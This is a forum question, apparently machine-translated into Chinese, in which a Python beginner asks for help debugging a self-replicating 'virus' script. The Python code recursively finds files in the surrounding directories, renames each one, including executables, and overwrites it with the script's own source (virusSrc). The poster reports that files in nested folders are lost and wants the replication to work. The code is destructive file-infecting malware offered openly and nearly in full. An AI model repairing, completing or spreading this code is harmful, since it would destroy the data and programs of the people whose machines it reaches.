首先,我是Python的初学者,所以我对意大利面条式代码和可怕的变量命名表示歉意。
因此,基本上,我正在尝试制作一个自我复制脚本,该脚本将自己替换所有附近的文件。
IE: 如果plicatortor.py和program.exe位于同一目录中,则复制器将重命名并将program.exe重写为自身。
我已经实现了一个基本的分类器,可以对文件进行分类以查看目录中的文件:
for files in filenames:
if os.path.isdir(path+"\\"+files):
directory.append(files)
dirFiles.extend(SearchDir(path+"\\"+files))
elif os.path.isfile(path+"\\"+files):
nonDirFiles.append(files)
SearchDir()是另一个函数,该函数返回嵌套目录中的文件,virusSrc是此scipt的read()。
我找不到其他真正有用的答案,不确定这里出了什么问题。
def Infect(path):
for files in nonDirFiles:
src = path+"\\"+files
dst = "generated" + str(random.randint(1,2000000)) + ".py"
os.rename(src, dst)
f= open(dst, "w")
f.write(virusSrc)
f.close()
for files in dirFiles:
print (files)
dstDir = "generated" + str(random.randint(230230,24230000)) + ".py"
print (dstDir)
os.rename(files, dstDir)
w= open(dstDir, "w")
w.write(virusSrc)
w.close()
所有文件都被删除,而不是接收重命名的文件。但是,nonDirFiles不会被删除。
例如: 脚本\文件夹中的所有文件已成功转换 但是脚本\文件夹\其他文件夹中的所有文件都丢失了